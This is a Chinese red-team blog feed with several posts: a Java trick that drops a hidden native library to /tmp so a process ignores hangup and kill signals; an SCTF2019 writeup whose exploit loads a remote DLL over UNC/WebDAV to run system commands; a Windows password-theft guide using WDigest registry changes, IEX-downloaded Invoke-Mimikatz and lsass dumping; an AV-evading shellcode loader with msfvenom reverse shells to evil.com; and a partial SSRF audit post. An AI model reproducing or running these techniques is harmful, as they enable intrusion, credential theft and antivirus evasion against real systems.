class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">Main</span> </span>{</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="keyword">native</span> <span class="keyword">boolean</span> <span class="title">ignoreSignal</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>javah io.github.jayl1n.daemon.Main</code> 生成头文件,添加到 C++ 项目里。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"io_github_jayl1n_daemon_Main.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><signal.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function">JNIEXPORT jboolean JNICALL <span class="title">Java_io_github_jayl1n_daemon_Main_ignoreSignal</span><span class="params">(JNIEnv *, jobject)</span> </span>{</span><br><span class="line"> <span class="comment">//忽略 SIGHUP SIGINT 信号,防止 shell 断开 ,Ctrl+C 中断程序</span></span><br><span class="line"> signal(SIGHUP, SIG_IGN);</span><br><span class="line"> signal(SIGINT, SIG_IGN);</span><br><span class="line"> <span class="keyword">return</span> JNI_TRUE;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>生成出来的动态库,需要放到与jar包相同的目录下,或者是 <code>java.library.path</code> 指定的路径,否则在 <code>System.loadLibrary</code> 时无法找到动态库。</p><p><code>java.library.path</code> 变量可以在执行时添加 <code>-Djava.library.path=/a/b/c</code> 参数指定。<code>System.getProperty("java.library.path")</code> 可以查看当前的路径。但无法通过 <code>System.setProperty("java.library.path","/a/b/c")</code> 修改,因为在 JVM 启动时就会缓存这个值,后续修改不会生效,可以通过反射来清除 <code>ClassLoader</code> 的 <code>sys_paths</code> 变量(缓存标志),重新初始化 <code>usr_paths</code>,代码如下:</p><p>java/lang/ClassLoader.java:1815</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">loadLibrary</span><span class="params">(Class<?> fromClass, String name, <span class="keyword">boolean</span> isAbsolute)</span> </span>{</span><br><span class="line"> ClassLoader loader = (fromClass == <span class="keyword">null</span>) ? <span class="keyword">null</span> : fromClass.getClassLoader();</span><br><span class="line"> <span class="keyword">if</span> (sys_paths == <span class="keyword">null</span>) {</span><br><span class="line"> usr_paths = initializePath(<span class="string">"java.library.path"</span>);</span><br><span class="line"> sys_paths = initializePath(<span class="string">"sun.boot.library.path"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">if</span> (isAbsolute) {</span><br><span class="line"> <span class="keyword">if</span> (loadLibrary0(fromClass, <span class="keyword">new</span> File(name))) {</span><br><span class="line"> <span class="keyword">return</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> UnsatisfiedLinkError(<span class="string">"Can't load library: "</span> + name);</span><br><span class="line"> }</span><br><span class="line"> ......</span><br></pre></td></tr></table></figure><p>第三行,<code>sys_paths</code> 不为 null 时,不会再初始化 <code>java.library.path</code>,相当于是第一次读取就被缓存到了 <code>usr_paths</code>。</p><p>通过反射清除 <code>sys_paths</code>:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="comment">//先修改 java.library.path</span></span><br><span class="line"> System.setProperty(<span class="string">"java.library.path"</span>, System.getProperty(<span class="string">"java.library.path"</span>) + <span class="string">":/Users/jaylin/daemon-demo/bin"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">//清除缓存标志</span></span><br><span class="line"> Field sys_paths = ClassLoader.class.getDeclaredField(<span class="string">"sys_paths"</span>);</span><br><span class="line"> sys_paths.setAccessible(<span class="keyword">true</span>);</span><br><span class="line"> sys_paths.set(<span class="keyword">null</span>,<span class="keyword">null</span>);</span><br><span class="line">} <span class="keyword">catch</span> (NoSuchFieldException | IllegalAccessException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line">}</span><br><span class="line"> <span class="comment">//后续再 loadLibrary 时,将会使用新的 usr_paths</span></span><br></pre></td></tr></table></figure><p>👆上面说了一个奇迹淫巧,在有多个动态库,相互依赖时比较有用。</p><p>这里其实也可以使用 <code>System.load</code> 直接指定绝对路径(注意和<code>System.loadLibrary</code> 的区别)。</p><p>由于动态库无法直接打包到 <code>jar</code> 包里用,所以一般是要分开上传到服务器。</p><p>为了优雅的使用动态库,可以硬编码到 jar 包里,在执行时释放出来,JNI 支持延时加载动态库。</p><p>这里我使用 base64 编码, <code>cat /Users/jaylin/daemon-demo/bin/libdaemon_jni.dylib | base64</code>,下面写个例子,定时输出字符到 <code>/tmp/test</code>:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">public class Main {</span><br><span class="line"> private native boolean ignoreSignal();</span><br><span class="line"></span><br><span class="line"> public static void main(String[] args) throws IOException, Base64DecodingException {</span><br><span class="line"> //释放动态库</span><br><span class="line"> String dynlib = "z/rt/+AQAAAOglAAAAvwIAAAC+AQAAAEiJRejoEgAAALEBD7b5SIlF4In4SIPEIF3DkP8lZhAAAAAATI0dZRAAAEFT/yVVAAAAkGgAAAAA6eb///==(省略)";</span><br><span class="line"> File dynlibFile = new File("/tmp/.jayl1n");</span><br><span class="line"> FileOutputStream fileOutputStream = new FileOutputStream(dynlibFile);</span><br><span class="line"> fileOutputStream.write(Base64.decode(dynlib));</span><br><span class="line"> fileOutputStream.close();</span><br><span class="line"></span><br><span class="line"> //加载动态库</span><br><span class="line"> System.load("/tmp/.jayl1n");</span><br><span class="line"> //调用</span><br><span class="line"> new Main().ignoreSignal();</span><br><span class="line"> AtomicInteger i = new AtomicInteger();</span><br><span class="line"> while (true) {</span><br><span class="line"> try {</span><br><span class="line"> Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "echo " + i.getAndIncrement() + " >> /tmp/test"});</span><br><span class="line"> Thread.sleep(1000);</span><br><span class="line"> } catch (IOException | InterruptedException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>效果:</p><p><img src="/2020/02/13/java-nohup-implementation/xg.gif" alt="效果"></p><h1 id="进阶-——-免疫-kill-命令"><a href="#进阶-——-免疫-kill-命令" class="headerlink" title="进阶 —— 免疫 kill 命令"></a>进阶 —— 免疫 kill 命令</h1><p>kill 命令默认是发送 <code>SIGTERM</code> 信号,友好地通知进程该结束了。进程在这种情况下可以不响应 <code>SIGTERM</code>(即忽略),继续执行下去。</p><p>也就是说只要再 <code>signal(SIGTERM, SIG_IGN);</code> 就可以防止被 kill 杀掉了,经过测试确实可以实现,有兴趣的可以自己试一下。</p><p>不过,当 kill 命令带参数时(kill -9),发送的是 <code>SIGKILL</code> 信号,这个信号无法被捕获或忽略,CTF 里有常用的杀不死马的方法 <code>kill -9 -1</code>(杀死除init进程外的所有进程),此时,程序无法感知到 <code>SIGKILL</code> 信号,就被系统干掉了。</p><h1 id="References"><a href="#References" class="headerlink" title="References"></a>References</h1><p><a href="https://people.cs.pitt.edu/~alanjawi/cs449/code/shell/UnixSignals.htm" target="_blank" rel="noopener">Unix Signals</a></p><p><a href="https://my.oschina.net/LinBigR/blog/799561" target="_blank" rel="noopener">Nohup源码分析</a></p><p><a href="https://blog.csdn.net/z50L2O08e2u4afToR9A/article/details/80047865" target="_blank" rel="noopener">一分钟了解nohup和&的功效</a></p><p><a href="https://blog.csdn.net/weixin_39540568/article/details/87985417" target="_blank" rel="noopener">kill命令——系统内部执行流程</a></p><p><a href="https://blog.csdn.net/madpointer/article/details/13091705" target="_blank" rel="noopener">不可忽略或捕捉的信号—SIGSTOP和SIGKILL</a></p>]]></content>
<tags>
<tag> Java </tag>
</tags>
</entry>
<entry>
<title>2020 大家新年快乐鸭</title>
<link href="/2020/01/04/happy-new-year-2020/"/>
<url>/2020/01/04/happy-new-year-2020/</url>
<content type="html"><![CDATA[<p>距离上次写博客已经隔了大半年,由于中间换了MacBook,又急急忙忙的赶去实习,原来博客的源码一直没时间迁移过来(就是懒),所以很久都没有发文了。</p><p>目前我在某美股上市公司做红蓝对抗,实习了这么久,收获了挺多,打算有时间了写出来。</p><p>敬请关注,祝大家新年快乐~ (手动龇牙</p>]]></content>
</entry>
<entry>
<title>SCTF2019 babyEoP Writeup</title>
<link href="/2019/06/26/sctf-2019-babyEoP-Writeup/"/>
<url>/2019/06/26/sctf-2019-babyEoP-Writeup/</url>
<content type="html"><![CDATA[<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p> 第一次给比较正式的比赛出题 :) ,花了挺长时间准备的。之前还一直担心题目太简单被神仙们秒了,看结果还是阔以的——0解,也有些遗憾,没能让 Part 2 出来。</p><h1 id="Writeup"><a href="#Writeup" class="headerlink" title="Writeup"></a>Writeup</h1><p>题目给了一个webshell,弱口令 123456 直接进去。</p><p>Tomcat启用了<em>Java Security Manager</em>,webshell基本所有功能无法正常使用,但是可以查看有限的几个目录文件,无写权限。</p><p>如果顺利,应该可以收集到以下信息:</p><ol><li><p>cookie处存在反序列化的点,有反序列化漏洞。</p></li><li><p>查看lib目录,存在 commons-collections 3.1 gadget。</p></li><li><p>找到 <code>catalina.policy</code> 文件,是Tomcat默认的安全策略配置文件,这应该是本题可能有点脑洞的地方,因为没有给 <code>C:/babyEoP/apache-tomcat-8.5.42</code> 的读权限,所以无法列目录,但是 <code>conf</code> 目录是可读的。(有将近10位选手读到了这个文件hhhh。)</p><p>我在官方提供的 <code>catalina.policy</code> 的基础上,做了一些修改。给了 <em>LoadLibrary</em> 、 <em>createClassLoader</em>、 <em>accessDeclaredMembers</em> 几个重要权限。</p></li></ol><p>分析 policy ,应该很容易可以想到,要通过 JNI 绕过 <em>Java Security Manager</em>。但是 JNI 需要加载一个 dll 动态链接库,由于并没有给任何写权限,所以是不可能上传 dll 的。</p><p>并且,webshell 的 <code>Eval Java Code</code> 使用时,需要向当前目录写一个 <code>tmp.jsp</code> 文件,所以也是不能用的(不要想着用这个执行代码)。</p><p>那么该如何才能执行代码来加载一个不在本地的dll呢?</p><p>下面是具体的解题思路:</p><p>题目已经给了反序列化的点以及gadget,可以通过这个来执行代码。</p><blockquote><p>ysoserial 的 commons-collections 利用链提供了几个直接执行命令的 gadget,但是都是基于 Runtime.exec 的,并没有给这个权限。So 想要直接利用是不行的。</p></blockquote><p>但是直接用 gadget 构造出加载dll可能比较困难,所以这里可以利用稍微高级一点的方法——加载外部的jar来执行代码。</p><p>构造见 <a href="https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java" target="_blank" rel="noopener">https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java</a> (基于 CommonsCollections6)</p><blockquote><p>有些师傅用的 CommonsCollections5 gadget 改的,但是 BadAttributeValueExpException 在反序列化时,会检查是否启用 JSM,如果启用了,则不会触发 gadget 需要的 toString 方法,导致利用失败。</p></blockquote><p>下面要加载 dll,用 JNI 绕 JSM。</p><p>同样因为没有写权限,且 dll 无法一起打包到 jar 里,所以要从网络上加载 dll。</p><p>这里利用 <code>System.load</code> 的一个特性——可以使用 UNC 路径,加载远程的 dll。</p><p>为什么可以使用 UNC 呢?来看下 System.load 的调用过程。</p><ol><li>System.load</li></ol><p><img src="/2019/06/26/sctf-2019-babyEoP-Writeup/1561382235958.png" alt="1561382235958"></p><p> 调用了 Runtime.getRuntime().load0</p><ol start="2"><li><p>Runtime.getRuntime().load0</p><p><img src="/2019/06/26/sctf-2019-babyEoP-Writeup/1561383875593.png" alt="1561383875593"></p></li></ol><p> 在这里会判断 filename 是否是一个绝对路径,如果不是就直接抛出异常,是就进一步加载。</p><ol start="3"><li><p>File.isAbsolute</p><p><img src="/2019/06/26/sctf-2019-babyEoP-Writeup/1561382827270.png" alt="1561382827270"></p><p>再看看 File 是如何判断是否是绝对路径的。</p><p>根据描述,linux下要求以 <code>/</code> 开头。windows下,要求以盘符或者 <code>\\\\</code> 开头。</p></li></ol><p>emm 综上,所以这里可以使用 UNC 路径。</p><p>下面是另一个坑,UNC 默认是走 445 端口的,如果没有特殊情况,公网上都是屏蔽了这个端口的。</p><p>这里利用 windows 一个特性,在开启了 webclient 服务的情况下,UNC 访问 445 失败时,会尝试访问目标服务器80端口的 webdav 去加载资源 (‾◡◝), 这一点 hint 已经提示过了。</p><h2 id="EXP"><a href="#EXP" class="headerlink" title="EXP"></a>EXP</h2><h3 id="类"><a href="#类" class="headerlink" title="类"></a>类</h3><p>R.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">class</span> <span class="title">R</span> </span>{</span><br><span class="line"> <span class="keyword">static</span> {</span><br><span class="line"> System.load(<span class="string">"\\\\xxx.xxx.xxx.xxx\\JNI.dll"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">native</span> <span class="keyword">void</span> <span class="title">exec</span><span class="params">(String cmd)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">public</span> <span class="title">R</span><span class="params">(String cmd)</span> </span>{</span><br><span class="line"> exec(cmd);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>执行命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">javac R.java</span><br><span class="line">jar cvf R.jar R.class</span><br></pre></td></tr></table></figure><p>将打包的 R.jar 放到服务器上的 web 服务下。</p><h3 id="DLL"><a href="#DLL" class="headerlink" title="DLL"></a>DLL</h3><h4 id="R-h"><a href="#R-h" class="headerlink" title="R.h"></a>R.h</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#ifdef __cplusplus</span><br><span class="line">extern "C" {</span><br><span class="line">#endif</span><br><span class="line">JNIEXPORT void JNICALL Java_R_exec</span><br><span class="line">(JNIEnv *, jclass, jstring);</span><br><span class="line"></span><br><span class="line">#ifdef __cplusplus</span><br><span class="line">}</span><br><span class="line">#endif</span><br><span class="line">#endif</span><br></pre></td></tr></table></figure><h4 id="R-cpp"><a href="#R-cpp" class="headerlink" title="R.cpp"></a>R.cpp</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#include "R.h"</span><br><span class="line">#include<stdlib.h></span><br><span class="line"></span><br><span class="line">JNIEXPORT void JNICALL Java_R_exec</span><br><span class="line">(JNIEnv *env, jclass clazz, jstring str) {</span><br><span class="line">char* cmd= (char*)env->GetStringUTFChars(str,JNI_FALSE);</span><br><span class="line">system(cmd);</span><br><span class="line">env->ReleaseStringUTFChars(str,cmd);</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>编译成 dll,放到服务器的 webdav 服务下。</p><p>用 <a href="https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java" target="_blank" rel="noopener">https://github.com/Jayl1n/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections8.java</a> 构造序列化 payload,贴到 cookie 里打一发,完事儿~</p>]]></content>
<tags>
<tag> CTF </tag>
</tags>
</entry>
<entry>
<title>Windows下抓取明文密码</title>
<link href="/2019/03/29/pentest-getpassword/"/>
<url>/2019/03/29/pentest-getpassword/</url>
<content type="html"><![CDATA[<h1 id="关于-KB2871997"><a href="#关于-KB2871997" class="headerlink" title="关于 KB2871997"></a>关于 KB2871997</h1><p>在 <code>KB2871997</code> 之前, Mimikatz 可以直接抓取明文密码。</p><p>当服务器安装 <code>KB2871997</code> 补丁后,系统默认禁用 <code>Wdigest Auth</code> ,内存(lsass进程)不再保存明文口令。Mimikatz 将读不到密码明文。<br>但由于一些系统服务需要用到 <code>Wdigest Auth</code>,所以该选项是可以手动开启的。(开启后,需要用户重新登录才能生效)</p><p>以下是支持的系统:</p><ul><li>Windows 7</li><li>Windows 8</li><li>Windows 8.1</li><li>Windows Server 2008</li><li>Windows Server 2012</li><li>Windows Server 2012R 2</li></ul><h2 id="开启"><a href="#开启" class="headerlink" title="开启"></a>开启</h2><ul><li><p>cmd</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f</span><br></pre></td></tr></table></figure></li><li><p>powershell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1</span><br></pre></td></tr></table></figure></li><li><p>meterpreter</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 1</span><br></pre></td></tr></table></figure></li></ul><h2 id="关闭"><a href="#关闭" class="headerlink" title="关闭"></a>关闭</h2><ul><li><p>cmd</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f</span><br></pre></td></tr></table></figure></li><li><p>powershell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0</span><br></pre></td></tr></table></figure></li><li><p>meterpreter</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">reg setval -k HKLM\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest -v UseLogonCredential -t REG_DWORD -d 0</span><br></pre></td></tr></table></figure></li></ul><h1 id="强制锁屏"><a href="#强制锁屏" class="headerlink" title="强制锁屏"></a>强制锁屏</h1><p>在开启 <code>Wdigest Auth</code> 后,需要管理员重新登录才能逮到明文密码。</p><p>我们可以强制锁屏,让管理员重新登录。</p><ul><li><p>cmd</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rundll32 user32.dll,LockWorkStation</span><br></pre></td></tr></table></figure></li><li><p>powershell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">powershell -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/kiraly15/Lock-WorkStation/master/Lock-WorkStation.ps1');"</span><br></pre></td></tr></table></figure></li></ul><blockquote><p>经测试 Win10企业版 仅锁屏读明文失败,需要注销才行,其它版本未知。</p></blockquote><h1 id="抓取明文"><a href="#抓取明文" class="headerlink" title="抓取明文"></a>抓取明文</h1><p>开启 <code>Wdigest Auth</code> 后,接下来就用常规的抓取明文的方式就行了。</p><h2 id="Mimikatz"><a href="#Mimikatz" class="headerlink" title="Mimikatz"></a>Mimikatz</h2><ol><li><p>powershell</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz</span><br></pre></td></tr></table></figure></li><li><p>exe</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">privilege::debug</span><br><span class="line">sekurlsa::logonpasswords</span><br></pre></td></tr></table></figure></li></ol><h2 id="离线抓取"><a href="#离线抓取" class="headerlink" title="离线抓取"></a>离线抓取</h2><p>当 <code>Mimikatz</code> 被杀,可以先将 <code>lsass</code> 进程 <code>dump</code> 下来,在本地用 <code>Mimikatz</code> 读取。</p><ol><li><p>Dump 进程</p><p>可以用微软提供的 <a href="https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump" target="_blank" rel="noopener"><code>procdump</code></a> ,自带微软签名,可以过杀软。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">procdump64.exe -accepteula -ma lsass.exe lsass.dmp</span><br></pre></td></tr></table></figure></li><li><p>Mimikatz 读取</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sekurlsa::minidump lsass.dmp</span><br><span class="line">sekurlsa::logonPasswords full</span><br></pre></td></tr></table></figure></li></ol>]]></content>
<tags>
<tag> Pentest </tag>
</tags>
</entry>
<entry>
<title>【GSL】 从内存加载 SHELLCODE 绕过AV查杀</title>
<link href="/2019/01/08/tools-load-shellcode/"/>
<url>/2019/01/08/tools-load-shellcode/</url>
<content type="html"><![CDATA[<p>根据 <a href="https://github.com/brimstone/go-shellcode" target="_blank" rel="noopener">go-shellcode</a> 修改,原作者用命令行传 SHELLCODE 的方式有点麻瓜,所以修改了一番。</p><p>亲测可绕 360全家桶。</p><p>X86 & X64 的 SHELLCODE 都可以,用对应 <code>gsl</code> 加载就行了。</p><p>下载:【<a href="https://github.com/Jayl1n/jayl1n.github.io/releases/download/0.1/gsl32.exe" target="_blank" rel="noopener">X86</a>】 【<a href="https://github.com/Jayl1n/jayl1n.github.io/releases/download/0.1/gsl64.exe" target="_blank" rel="noopener">X64</a>】</p><blockquote><p>为减小体积,已用 UPX 加壳压缩。</p></blockquote><a id="more"></a><h1 id="食用方法"><a href="#食用方法" class="headerlink" title="食用方法"></a>食用方法</h1><p>首先要准备好 SHELLCODE,支持 MSF 的 <code>RAW</code> 和 <code>HEX</code> 格式。</p><h2 id="生成-SHELLCODE"><a href="#生成-SHELLCODE" class="headerlink" title="生成 SHELLCODE"></a>生成 SHELLCODE</h2><h3 id="X86"><a href="#X86" class="headerlink" title="X86"></a>X86</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/meterpreter/reverse_tcp LHOST=evil.com LPORT=666 -f raw > evil.raw</span><br></pre></td></tr></table></figure><h3 id="X64"><a href="#X64" class="headerlink" title="X64"></a>X64</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=evil.com LPORT=666 -f hex > evil.hex</span><br></pre></td></tr></table></figure><h2 id="加载-SHELLCODE"><a href="#加载-SHELLCODE" class="headerlink" title="加载 SHELLCODE"></a>加载 SHELLCODE</h2><p>有三种方式。</p><h3 id="0X01"><a href="#0X01" class="headerlink" title="0X01"></a>0X01</h3><p>从参数传入 <strong>(必须是HEX格式)</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -s SHELLCODE -hex</span><br></pre></td></tr></table></figure><h3 id="0X02"><a href="#0X02" class="headerlink" title="0X02"></a>0X02</h3><p>从文件传入,需要先把 SHELLCODE 文件传到目标服务器上</p><ul><li><p>加载 RAW 格式</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -f evil.raw</span><br></pre></td></tr></table></figure></li><li><p>加载 HEX 格式</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -f evil.hex -hex</span><br></pre></td></tr></table></figure></li></ul><h3 id="0X03"><a href="#0X03" class="headerlink" title="0X03"></a>0X03</h3><p>从远程服务器加载,把 SHELLCODE 文件挂在WEB目录下。(支持HTTP/HTTPS)</p><ul><li><p>加载 RAW 格式</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -u http://evil.com/evil.raw</span><br></pre></td></tr></table></figure></li><li><p>加载 HEX 格式</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">gsl -u http://evil.com/evil.hex -hex</span><br></pre></td></tr></table></figure></li></ul>]]></content>
<tags>
<tag> 工具分享 </tag>
</tags>
</entry>
<entry>
<title>从1开始的Java代码审计·第四弹·SSRF</title>
<link href="/2018/12/30/java-audit-step-by-step-4/"/>
<url>/2018/12/30/java-audit-step-by-step-4/</url>
<content type="html"><![CDATA[<blockquote><p>最近的事情真的太多了 <strong>≧﹏≦</strong> ,趁着刚搞完小组的面试,发篇热乎的。</p></blockquote><a id="more"></a><h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>自从 2016 年猪猪侠在乌云峰会发表议题——<a href="https://github.com/ring04h/papers/blob/master/build_your_ssrf_exp_autowork--20160711.pdf" target="_blank" rel="noopener">《Build Your SSRF Exploit Framework》</a>,<code>SSRF</code> 才开始火起来的吧,攻击面越来越广,利用某些奇技淫巧可以直接GETSHELL。</p><p><code>SSRF</code> 的介绍、利用方式,PDF里都有讲,就不再赘述了,开始进入正题。</p><h1 id="支持的协议"><a href="#支持的协议" class="headerlink" title="支持的协议"></a>支持的协议</h1><p>Java 支持的协议可以在 <code>sum.net.www.protocol</code> 包下看到,如下图:</p><p><img src="/2018/12/30/java-audit-step-by-step-4/java-protocol.png" alt="java-protocol"></p><p>图中用的 JDK 是 <code>1.7</code>,可以看到有 <code>gopher</code> <code>file</code> <code>ftp</code> <code>http</code> <code>https</code> <code>jar</code> <code>mailto</code> <code>netdoc</code> 八种协议。其中最有意思的是 <code>gopher</code> 协议,可以用来构造其它协议的请求。但是,<strong><code>gopher</code> 在 <code>JDK8</code> 中已经被移除。</strong> 经过测试,在高版本的 <code>JDK7</code> 里,虽然 <code>sun.net.www.protoocol</code> 中还有 <code>gopher</code> 包,但是实际也已经不能使用,会抛 <code>java.net.MalformedURLException: unknown protocol: gopher</code> 的异常,被阉割地时间在2012年左右(From <a href="http://www.k0rz3n.com" target="_blank" rel="noopener">@K0rz3n</a>)。</p><h1 id="发起请求的流程"><a href="#发起请求的流程" class="headerlink" title="发起请求的流程"></a>发起请求的流程</h1><p>构造一个简单的 <code>http</code> 请求:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> {</span><br><span class="line"> URL u = <span class="keyword">new</span> URL(url);</span><br><span class="line"> URLConnection urlConnection = u.openConnection();</span><br><span class="line"> InputStream inputStream = urlConnection.getInputStream();</span><br><span class="line"></span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line">} <span class="keyword">catch</span> (IOException e) {</span><br><span class="line"> e.printStackTrace();</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>简述下这个过程,首先,构造一个 <code>URL</code> 对象,调用 <code>url</code> 的 <code>openConnection()</code> 方法来获取一个 <code>URLConnection</code> 